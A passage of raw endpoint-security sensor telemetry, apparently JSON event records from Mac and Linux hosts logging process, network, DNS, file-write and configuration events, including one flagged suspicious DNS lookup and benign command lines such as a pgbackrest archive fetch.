-{"FileDeletedCount":"0","DirectoryCreatedCount":"0","ContextThreadId":"0","aip":"67.43.156.14","NetworkConnectCount":"0","NetworkListenCount":"0","event_platform":"Mac","NetworkBindCount":"0","NetworkRecvAcceptCount":"0","id":"ffffffff-1111-11eb-9d75-02bcf3ade03b","NewExecutableWrittenCount":"0","NetworkCloseCount":"0","EffectiveTransmissionClass":"3","SuspectStackCount":"0","timestamp":"1625677524102","event_simpleName":"EndOfProcess","RawProcessId":"33454","ContextTimeStamp":"1625677523.068","ConfigStateHash":"3090255842","ContextProcessId":"365053603452626914","AsepWrittenCount":"0","SuspiciousDnsRequestCount":"0","ConfigBuild":"1007.4.0013701.1","NetworkCapableAsepWriteCount":"0","ExecutableDeletedCount":"0","TargetProcessId":"365053603452626914","DnsRequestCount":"0","Entitlements":"15","name":"EndOfProcessMacV15","aid":"ffffffff3c0846978560dbc0048d6555","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"RawBindIP6","ContextTimeStamp":"1625677488.594","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","RemoteAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"1620585913","ConnectionFlags":"0","ContextProcessId":"365042236081053654","RemotePort":"546","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"547","Entitlements":"15","name":"RawBindIP6MacV10","id":"ffffffff-1111-11eb-ad8d-064c77be2fd1","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffffc59c473aa7fcbbe7438082cb","ConnectionDirection":"2","InContext":"0","timestamp":"1625677488615","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"ProcessRollup2Stats","ConfigStateHash":"1620585913","Timeout":"600","aip":"67.43.156.14","SHA256HashData":"f8bd34d4ac025f862c6fe8f3fd3f170072f94f1f2ec9dc6cb2d7925422b77018","ProcessCount":"4","ConfigBuild":"1007.4.0013701.1","UID":"502","event_platform":"Mac","CommandLine":"ruby --disable-gems sorbet/feature_dependency_plugin.rb --class EmergingAlbertsonsPickupBannerDiscount --method feature_dependency --source feature_dependency Domain::FeatureDependencies::RouletteUserFeature.new(\n        feature_name: FEATURE_NAME,\n        variants: [FEATURE_VARIANT],\n      )","Entitlements":"15","name":"ProcessRollup2StatsMacV1","id":"ffffffff-1111-11eb-822b-06081a3f0f45","EffectiveTransmissionClass":"2","aid":"ffffffff59fe460783ea45d59e417d6f","timestamp":"1625677504527","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"SensorHeartbeat","ConfigStateHash":"3090255842","NetworkContainmentState":"0","aip":"67.43.156.14","ConfigIDBase":"65994753","SensorStateBitMap":"0","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","ConfigurationVersion":"10","Entitlements":"15","name":"SensorHeartbeatMacV4","ConfigIDPlatform":"4","id":"ffffffff-1111-11eb-97c6-02fd02aca859","ConfigIDBuild":"13701","EffectiveTransmissionClass":"0","aid":"ffffffffe1ad47b6b5b44ae9151a6cf3","ProvisionState":"1","timestamp":"1625677514783","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"MachOSubType":"1","ParentProcessId":"362213307092004097","SourceProcessId":"362213307092004097","aip":"67.43.156.14","SessionProcessId":"362213307092004097","SHA1HashData":"0000000000000000000000000000000000000000","event_platform":"Mac","ProcessEndTime":"","SVUID":"0","ParentBaseFileName":"launchd","id":"ffffffff-1111-11eb-a9ce-02e9216bdbcb","EffectiveTransmissionClass":"2","timestamp":"1625677502500","ProcessGroupId":"362213307092004097","event_simpleName":"ProcessRollup2","RawProcessId":"56254","GID":"0","ConfigStateHash":"1620585913","SVGID":"0","MD5HashData":"88922d50263b059696c2af5a99906562","SHA256HashData":"d4ff1c438e330777002332a305fcf965cfaa7d0dbeb899293d347298cbf6d4b6","ConfigBuild":"1007.4.0013701.1","UID":"0","CommandLine":"xpcproxy com.apple.mdworker.shared.01000000-0600-0000-0000-000000000000","TargetProcessId":"363276350115996101","ImageFileName":"/usr/libexec/xpcproxy","RGID":"0","SourceThreadId":"0","Entitlements":"15","name":"ProcessRollup2MacV5","RUID":"0","ProcessStartTime":"1625677502.233","aid":"ffffffff8be84591864008eb2e484920","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"LocalAddressIP4":"0.0.0.0","event_simpleName":"NetworkReceiveAcceptIP4","ContextTimeStamp":"1625677504.982","ConfigStateHash":"1701000200","ConnectionFlags":"0","ContextProcessId":"17307488247882","RemotePort":"53","aip":"67.43.156.14","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"39920","Entitlements":"15","name":"NetworkReceiveAcceptIP4LinV5","id":"ffffffff-1111-11eb-9d7c-02e8a46f51a5","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffff5a2e420c99f6b6d3a5d9de9b","RemoteAddressIP4":"67.43.156.14","ConnectionDirection":"1","InContext":"0","timestamp":"1625677505511","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"LocalAddressIP4":"67.43.156.14","event_simpleName":"RawBindIP4","ContextTimeStamp":"1625677521.866","ConfigStateHash":"3090255842","ConnectionFlags":"0","ContextProcessId":"362579458925546303","RemotePort":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"53","Entitlements":"15","name":"RawBindIP4MacV10","id":"ffffffff-1111-11eb-81d4-0282ad9ac82d","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffff01fc49949cf06bf0bce3c010","RemoteAddressIP4":"0.0.0.0","ConnectionDirection":"2","InContext":"0","timestamp":"1625677522009","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"NetworkConnectIP6","ContextTimeStamp":"1625677523.901","LocalAddressIP6":"0:0:0:0:0:0:0:0","RemoteAddressIP4":"127.0.0.1","ConfigStateHash":"3090255842","ConnectionFlags":"0","ContextProcessId":"364783686797112486","RemotePort":"50626","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"0","Entitlements":"15","name":"NetworkConnectIP6MacV10","id":"ffffffff-1111-11eb-97c6-02fd02aca859","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff083845f68a7de3d95cb34361","ConnectionDirection":"0","InContext":"0","timestamp":"1625677524048","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"ParentProcessId":"38911774195823","SourceProcessId":"38911774195823","aip":"67.43.156.14","SessionProcessId":"38911772846634","SHA1HashData":"0000000000000000000000000000000000000000","event_platform":"Lin","ProcessEndTime":"1625677535.102","SVUID":"114","ParentBaseFileName":"bash","id":"ffffffff-1111-11eb-bad4-02690d039c6b","EffectiveTransmissionClass":"2","timestamp":"1625677535482","ProcessGroupId":"9277112078","event_simpleName":"ProcessRollup2","RawProcessId":"73249","GID":"119","ConfigStateHash":"1284133626","SVGID":"119","MD5HashData":"29037cef466fa57f03bd1b2a092c47a4","SHA256HashData":"a4f11f04df7aa3ac611dcbdb3e3d934a8f0523ea17b0a41a1809c380efd2d112","ConfigBuild":"1007.8.0010912.1","UID":"114","CommandLine":"pgbackrest --stanza\u003dmain archive-get 000000020004D51F0000009F pg_wal/RECOVERYXLOG","TargetProcessId":"38911778380590","ImageFileName":"/usr/bin/pgbackrest","RGID":"119","SourceThreadId":"0","Entitlements":"15","name":"ProcessRollup2LinV6","RUID":"114","ProcessStartTime":"1625677535.068","aid":"ffffffffcf45409f87ed463b40c368ec","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"NetworkConnectIP6","ContextTimeStamp":"1625677503.713","LocalAddressIP6":"0:0:0:0:0:0:0:1","RemoteAddressIP6":"0:0:0:0:0:0:0:1","ConfigStateHash":"1701000200","ConnectionFlags":"0","ContextProcessId":"17307455014463","RemotePort":"0","aip":"67.43.156.14","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"41952","Entitlements":"15","name":"NetworkConnectIP6LinV5","id":"ffffffff-1111-11eb-9d7c-02e8a46f51a5","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffff5a2e420c99f6b6d3a5d9de9b","ConnectionDirection":"0","InContext":"0","timestamp":"1625677503947","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"OoxmlFileWritten","ContextTimeStamp":"1625677520.973","ConfigStateHash":"3090255842","ContextProcessId":"365044948432500700","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"0500000100000000000000000000000021b0260000000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"OoxmlFileWrittenMacV1","id":"ffffffff-1111-11eb-8ad1-02cfdadef55f","EffectiveTransmissionClass":"2","aid":"ffffffff20bd481a98a3d1f6191047ff","timestamp":"1625677521081","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user1/Library/Application Support/Google/DriveFS/110588730849638631570/content_cache/d23/d44/432508"}
-{"LocalAddressIP4":"67.43.156.14","event_simpleName":"NetworkConnectIP4","ContextTimeStamp":"1625677530.308","ConfigStateHash":"3469235958","ConnectionFlags":"0","ContextProcessId":"12227094573885","RemotePort":"80","aip":"67.43.156.13","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"59926","Entitlements":"15","name":"NetworkConnectIP4LinV5","id":"ffffffff-1111-11eb-b727-028bbe41f38d","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffffbd064538b214ab0dce8e82c3","RemoteAddressIP4":"67.43.156.14","ConnectionDirection":"0","InContext":"0","timestamp":"1625677530841","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"ChannelVersion":"0","event_simpleName":"ChannelVersionRequired","ConfigStateHash":"1156120155","ChannelDiffStatus":"1","aip":"67.43.156.14","ChannelVersionRequired":"0","ChannelId":"12","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","name":"ChannelVersionRequiredLinV2","id":"ffffffff-1111-11eb-b7e0-02332cdcc16d","ErrorCode":"0","aid":"ffffffff25b14d4aa96de99e24bad2fa","timestamp":"1625677493974","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"LocalIpAddressIP6","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"1156120155","CreationTimeStamp":"1625677520.686","aip":"67.43.156.14","PhysicalAddress":"6e-9e-e0-1f-6d-7d","InterfaceAlias":"vethdeb0243","InterfaceIndex":"3736","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","InterfaceType":"1","name":"LocalIpAddressIP6LinV1","id":"ffffffff-1111-11eb-92d2-0286f570f8e1","PhysicalAddressLength":"6","aid":"ffffffffc9114c1898e79604708955a6","timestamp":"1625677521218","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"ChannelVersion":"0","event_simpleName":"ChannelVersionRequired","ConfigStateHash":"1620585913","ChannelDiffStatus":"1","aip":"67.43.156.13","ChannelVersionRequired":"0","ChannelId":"210","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ChannelVersionRequiredMacV2","id":"ffffffff-1111-11eb-8cc5-02c6fb049dd3","ErrorCode":"0","EffectiveTransmissionClass":"0","aid":"ffffffff2d7b4778a73b2cf58d327e42","timestamp":"1625677480455","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"SensorHeartbeat","ConfigStateHash":"1156120155","NetworkContainmentState":"0","aip":"67.43.156.14","ConfigIDBase":"65994753","SensorStateBitMap":"2","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","ConfigurationVersion":"10","name":"SensorHeartbeatLinV4","ConfigIDPlatform":"8","id":"ffffffff-1111-11eb-993f-02b8dc387eb5","ConfigIDBuild":"11611","aid":"fffffffff6e146908cbf31d72b94b626","timestamp":"1625677540292","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"JavaClassFileWritten","ContextTimeStamp":"1625677528.570","ConfigStateHash":"3090255842","ContextProcessId":"364783686797112486","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"04000001000000000000000000000000986b480e00000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"JavaClassFileWrittenMacV1","id":"ffffffff-1111-11eb-97c6-02fd02aca859","EffectiveTransmissionClass":"2","aid":"ffffffff083845f68a7de3d95cb34361","timestamp":"1625677528717","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user2/shopper-one/tooling/teams-plugin/build/classes/kotlin/main/com/instacart/shopper/tooling/TeamsPlugin$apply$$inlined$configure$1.class"}
-{"LocalAddressIP4":"0.0.0.0","event_simpleName":"NetworkConnectIP4","ContextTimeStamp":"1625677512.700","ConfigStateHash":"1620585913","ConnectionFlags":"0","ContextProcessId":"364796317497854624","RemotePort":"443","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"0","Entitlements":"15","name":"NetworkConnectIP4MacV10","id":"ffffffff-1111-11eb-9c94-0222a21bbb27","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff96f142f6b2475f3c584ddd80","RemoteAddressIP4":"67.43.156.14","ConnectionDirection":"0","InContext":"0","timestamp":"1625677512892","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"DnsRequest","ContextTimeStamp":"1625677475.806","ConfigStateHash":"1620585913","ContextProcessId":"364977197365370629","DomainName":"jss.dom1.com","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"DnsRequestMacV1","id":"ffffffff-1111-11eb-9644-060415b1fd87","EffectiveTransmissionClass":"2","aid":"ffffffff7ecf4e61bba14ca5ac5d17b1","timestamp":"1625677476111","cid":"ffffffff15754bcfb5f9152ec7ac90ac","RequestType":"28"}
-{"event_simpleName":"NewScriptWritten","ContextTimeStamp":"1625677504.770","ConfigStateHash":"1620585913","ContextProcessId":"365053504406857894","Size":"0","ContextThreadId":"0","aip":"67.43.156.14","SHA256HashData":"2d9a331f045a9c6b13d45eabe948b5c7dfdc25e1251bff6756fa306581087da9","FileIdentifier":"05000001000000000000000000000000b588050000000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"NewScriptWrittenMacV2","id":"ffffffff-1111-11eb-b3de-06a53f021cc9","EffectiveTransmissionClass":"2","aid":"ffffffffbea440b9aad8b5bf222d303f","timestamp":"1625677540055","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Applications/BitBar/countdown_timer.1s.py"}
-{"InterfaceIndex":"186","ConfigBuild":"1007.8.0011611.1","event_simpleName":"LocalIpAddressRemovedIP6","event_platform":"Lin","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"1156120155","name":"LocalIpAddressRemovedIP6LinV1","aip":"67.43.156.14","id":"ffffffff-1111-11eb-b3c1-02ff598b7945","aid":"ffffffffbfbf4ff5aa56a26ad3c1a942","timestamp":"1625677526386","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"DirectoryCreate","ContextTimeStamp":"1625677499.994","GID":"0","ConfigStateHash":"3090255842","ContextProcessId":"365053555029062046","ContextThreadId":"0","aip":"67.43.156.14","Flags":"0","ConfigBuild":"1007.4.0013701.1","UID":"0","event_platform":"Mac","UnixMode":"0","Entitlements":"15","name":"DirectoryCreateMacV1","id":"ffffffff-1111-11eb-92d2-0286f570f8e1","VnodeType":"2","EffectiveTransmissionClass":"2","aid":"ffffffff24db47799d1a85aae61dc7bc","TargetDirectoryName":"/private/var/folders/s8/9c47txv13vj8qx_m7cqtx2w80000gp/T/.LINKS/2F71C2D4-D215-453E-BF4C-D6C037502871","timestamp":"1625677500089","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/s8/9c47txv13vj8qx_m7cqtx2w80000gp/T/.LINKS/2F71C2D4-D215-453E-BF4C-D6C037502871"}
-{"LocalAddressIP4":"67.43.156.14","event_simpleName":"NetworkCloseIP4","ContextTimeStamp":"1625677517.658","ConfigStateHash":"1479784503","ConnectionFlags":"0","ContextProcessId":"84424232977619","RemotePort":"443","aip":"67.43.156.14","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"40394","Entitlements":"15","name":"NetworkCloseIP4LinV6","id":"ffffffff-1111-11eb-9015-02e89cda7d5f","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff58de4e748d9f64c85a9b49e6","RemoteAddressIP4":"67.43.156.13","ConnectionDirection":"2","InContext":"0","timestamp":"1625677517986","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"VolumeMediaName":"AppleAPFSMedia","VolumeDeviceProtocol":"PCI-Express","VolumeDeviceVendor":"","ContextThreadId":"0","VolumeMediaContent":"41504653-0000-11AA-AA11-00306543ECAC","VolumeMediaEjectable":"0","aip":"67.43.156.14","VolumeAppearanceTime":"1625677422.647","VolumeDeviceModel":"APPLE SSD SM0256L","VolumeMediaBSDName":"disk1s3","VolumeMountPoint":"/Volumes/Recovery","event_platform":"Mac","VolumeType":"APFS","VolumeMediaRemovable":"0","VolumeMediaBSDUnit":"1","VolumeFileSystemDriver":"apfs","id":"ffffffff-1111-11eb-956a-02748d01bd3d","VolumeMediaSize":"250685575168","EffectiveTransmissionClass":"2","VolumeBusName":"IONVMeController","timestamp":"1625677496804","VolumeMediaBSDMinor":"8","VolumeMediaWritable":"1","event_simpleName":"FsVolumeMounted","VolumeDevicePath":"IOService:/AppleACPIPlatformExpert/PCI0@0/AppleACPIPCI/RP01@1C/IOPP/SSD0@0/IONVMeController/IONVMeBlockStorageDevice@1","VolumeName":"Recovery","ContextTimeStamp":"1625677496.750","VolumeSectorSize":"4096","ConfigStateHash":"3090255842","ContextProcessId":"365053546767850587","VolumeBusPath":"IODeviceTree:/PCI0@0/RP01@1C/SSD0@0/IONVMeController","VolumeDeviceInternal":"1","ConfigBuild":"1007.4.0013701.1","VolumeUUID":"85400FAD-01F9-0442-8C5D-441F365D4909","VolumeDeviceRevision":"CXS4LA0Q","Entitlements":"15","name":"FsVolumeMountedMacV1","VolumeMediaBSDMajor":"1","VolumeMediaPath":"IOService:/AppleACPIPlatformExpert/PCI0@0/AppleACPIPCI/RP01@1C/IOPP/SSD0@0/IONVMeController/IONVMeBlockStorageDevice@1/IOBlockStorageDriver/APPLE SSD SM0256L Media/IOGUIDPartitionScheme/NoName@2/AppleAPFSContainerScheme/AppleAPFSMedia/AppleAPFSContainer/Recovery@3","aid":"ffffffff8eca418b7a861be9c5f7de1d","VolumeMediaUUID":"AD0F4085-F901-4204-8C5D-441F365D4909","VolumeMediaWhole":"0","cid":"ffffffff15754bcfb5f9152ec7ac90ac","VolumeIsNetwork":"0"}
-{"LocalAddressIP4":"67.43.156.14","event_simpleName":"LocalIpAddressIP4","ConfigStateHash":"1156120155","CreationTimeStamp":"1625677513.841","aip":"67.43.156.14","PhysicalAddress":"0e-d6-ff-ff-ff-63","InterfaceAlias":"eth0","InterfaceIndex":"2","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","InterfaceType":"1","name":"LocalIpAddressIP4LinV1","id":"ffffffff-1111-11eb-9c94-0222a21bbb27","PhysicalAddressLength":"6","aid":"ffffffff190e436aaebc3892bcda5beb","timestamp":"1625677514374","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"LocalIpAddressRemovedIP6","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"3967242894","aip":"67.43.156.13","InterfaceIndex":"8","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","NetLuidIndex":"0","Entitlements":"15","name":"LocalIpAddressRemovedIP6MacV1","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","timestamp":"1625677480056","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"OutOctets":"0","CreationTimeStamp":"","aip":"67.43.156.14","OutMulticastPkts":"0","InErrors":"0","InterfaceAlias":"llw0","InDiscards":"0","InterfaceIndex":"8","event_platform":"Mac","InterfaceType":"6","id":"ffffffff-1111-11eb-b88d-06b7cb0d7bd7","PhysicalAddressLength":"6","InUcastPkts":"0","EffectiveTransmissionClass":"2","timestamp":"1625677521723","event_simpleName":"LocalIpAddressIP6","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"1620585913","PhysicalAddress":"c2-27-b0-27-83-0f","OutErrors":"0","InUnknownProtos":"0","OutUcastPkts":"0","InMulticastPkts":"0","ConfigBuild":"1007.4.0013701.1","InOctets":"0","NetLuidIndex":"0","Entitlements":"15","name":"LocalIpAddressIP6MacV1","aid":"ffffffff0ad7494e8e817b3903f4eebb","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"LocalAddressIP4":"0.0.0.0","event_simpleName":"NetworkListenIP4","ContextTimeStamp":"1625677507.037","ConfigStateHash":"3090255842","ConnectionFlags":"0","ContextProcessId":"364432308748445743","RemotePort":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"50647","Entitlements":"15","name":"NetworkListenIP4MacV10","id":"ffffffff-1111-11eb-8b36-06a8af5164a9","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff23d24c4193ffa6f270775ee5","RemoteAddressIP4":"0.0.0.0","ConnectionDirection":"2","InContext":"0","timestamp":"1625677507086","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"ExecutableDeleted","ContextTimeStamp":"1625677536.729","ConfigStateHash":"3090255842","ContextProcessId":"364994904864288322","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ExecutableDeletedMacV1","id":"ffffffff-1111-11eb-8ca0-0231588e8cbb","EffectiveTransmissionClass":"2","aid":"ffffffffa7bf46da689501ce58bd6987","timestamp":"1625677536784","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user3/Library/Caches/com.tinyspeck.slackmacgap.ShipIt/update.FXKsmFO/Slack.app/Contents/Frameworks/Squirrel.framework/Versions/A/Resources/ShipIt"}
-{"event_simpleName":"GzipFileWritten","ContextTimeStamp":"1625677504.542","ConfigStateHash":"3090255842","ContextProcessId":"362897421906895953","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"04000001000000000000000000000000501f510700000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"GzipFileWrittenMacV1","id":"ffffffff-1111-11eb-9320-06d410e6f705","EffectiveTransmissionClass":"2","aid":"fffffffffc2c4e4fa9c08e1a8388e5f9","timestamp":"1625677504614","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/db/powerlog/Library/BatteryLife/Archives/powerlog_2021-07-05_CC5F9FC1.PLSQL.gz"}
-{"event_simpleName":"IOServiceRegister","ContextTimeStamp":"1625622770.595","ConfigStateHash":"3967242894","aip":"67.43.156.13","IOServiceClass":"IOUSBDevice:IOUSBNub:IOService:IORegistryEntry:OSObject","ConfigBuild":"1007.4.0013701.1","IOServicePath":"IOService:/IOResources/AppleUSBHostResources/AppleUSBLegacyRoot/AppleUSBVHCIBCE@80000000/Touch Bar Backlight@80700000","event_platform":"Mac","IOServiceProperties":"","Entitlements":"15","name":"IOServiceRegisterMacV1","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","IOServiceName":"Touch Bar Backlight","timestamp":"1625677480056","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"PtyCreated","ContextTimeStamp":"1625622602.031","ConfigStateHash":"3967242894","ContextProcessId":"364938416497226937","DeviceId":"251658248","ContextThreadId":"0","aip":"67.43.156.13","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"PtyCreatedMacV1","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","timestamp":"1625677478739","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"LocalAddressIP4":"67.43.156.14","event_simpleName":"LocalIpAddressRemovedIP4","ConfigStateHash":"1803419442","aip":"67.43.156.14","InterfaceIndex":"18","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","NetLuidIndex":"2","Entitlements":"15","name":"LocalIpAddressRemovedIP4MacV1","id":"ffffffff-1111-11eb-b7b7-066cc89bcebf","EffectiveTransmissionClass":"2","aid":"ffffffff5ae3449ab33a1809fe6c5ce2","timestamp":"1625677475967","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"NetworkCloseIP6","ContextTimeStamp":"1625677474.875","LocalAddressIP6":"0:0:0:0:0:0:0:1","RemoteAddressIP6":"0:0:0:0:0:0:0:1","ConfigStateHash":"1701000200","ConnectionFlags":"0","ContextProcessId":"12241681491990","RemotePort":"9","aip":"67.43.156.13","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"59999","Entitlements":"15","name":"NetworkCloseIP6LinV6","id":"ffffffff-1111-11eb-8130-02cde7751097","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffff335f47ca89cad6a19f203bbd","ConnectionDirection":"2","InContext":"0","timestamp":"1625677475413","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"ConfigBuild":"1007.8.0011611.1","event_simpleName":"ConfigStateUpdate","event_platform":"Lin","ConfigStateHash":"1156120155","ConfigStateData":"0,0,1007.8.0011611.1|1,c,0|1,22,6|1,59,2d|2,0,a8000000032,140000000085,18000000004c,18000000004f,180000000054,18000000022a,180000000248,180000000279,18000000027a,1800000002b4,180400000079,180400000225,180c00000133,180c00000285,181000000128,181000000180,18100000021f,181000000220,181000000280,1c0400000205|","name":"ConfigStateUpdateLinV2","aip":"67.43.156.14","id":"ffffffff-1111-11eb-af89-06c111484f9f","aid":"ffffffffa74a4c89b9984a3a7124bb9d","timestamp":"1625677490580","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"SuspiciousDnsRequest","ContextTimeStamp":"1625677493.531","ConfigStateHash":"3090255842","ContextProcessId":"364839648316192383","DomainName":"hg-t2.dotice.me","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"SuspiciousDnsRequestMacV1","id":"ffffffff-1111-11eb-a4a3-02cbdfb8f529","EffectiveTransmissionClass":"2","aid":"ffffffff0cd64fb78626ab1b6c65ac8c","timestamp":"1625677493756","cid":"ffffffff15754bcfb5f9152ec7ac90ac","RequestType":"1"}
-{"Parameter2":"0","event_simpleName":"ErrorEvent","Parameter1":"18446744072635810412","Parameter3":"0","ConfigStateHash":"1156120155","aip":"67.43.156.14","Line":"96","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","ErrorStatus":"3759276032","name":"ErrorEventLinV1","id":"ffffffff-1111-11eb-bdd3-0681aa29cecb","Facility":"16778240","aid":"ffffffffabd047b1a86c1fcd8ef22b59","File":"0","timestamp":"1625677530922","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"ConfigStateUpdate","ConfigStateHash":"3090255842","ConfigStateData":"0,0,1007.4.0013701.1|1,2,1|1,4,a|1,6,0|1,8,46|1,a,1|1,c,0|1,17,1f|1,18,18|1,19,0|1,1e,407|1,21,3d2|1,27,1|1,53,18b|1,56,0|1,d0,16d|1,d1,0|1,d2,0|1,df,4c|1,e0,6|1,f6,1|1,1f5,1|1,1f7,1|1,1fd,1|1,200,0|2,0,138,a8000000032,140000000085,140000000153,18000000004c,18000000004f,180000000050,180000000051,180000000054,1800000000e1,1800000000e7,180000000144,18000000014e,18000000015a,18000000020e,180000000226,180000000227,180400000079,18040000009b,18040000009c,1804000000ff,180400000117,180400000118,180400000142,180400000163,180400000164,180400000166,180400000167,1804000001b2,1804000001f2,1804000001f3,180400000225,1804000002be,1804000002bf,1804000002ca,1804000002cb,1808000000c9,1808000000ee,1808000000fc,1808000000fd,1808000000fe,180c0000016b,180c0000016c,180c0000016d,180c0000016e,180c0000016f,180c00000170,180c000001b6,180c000001b7,180c000001b8,180c000001b9,180c000001f6,180c000001f7,180c000001f8,180c000002c2,180c000002c3,180c000002c4,180c000002ce,180c000002cf,180c000002d0,18100000011e,18100000011f,181000000120,181000000121,181000000122,181000000123,181000000124,181000000125,181000000126,181000000128,181000000169,18100000016a,181000000180,1810000001b1,1810000001c3,18100000021f,181000000220,18100000024e,18100000025b,181000000280,1810000002ad,1810000002d6,1810000002d7,1810000002f3,1c04000000a1,1c04000000a2,1c04000000a3,1c04000000a4,1c04000000a5,1c04000000a6,1c040000011a,1c040000011b,1c040000011c,1c0400000268,1c0400000269,1c040000026a,1c040000026c,1c040000026d,1c040000026e,1c0400000271,1c0400000272,1c0400000273,1c0400000275,1c0400000276,1c0400000277,1c040000028f,1c0400000290,1c0400000291,1c0400000293,1c0400000294,1c0400000295,1c0400000297,1c0400000298,1c0400000299,1c040000029b,1c040000029c,1c040000029d,1c040000029f,1c04000002a0|3,0,65|","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ConfigStateUpdateMacV2","id":"ffffffff-1111-11eb-8d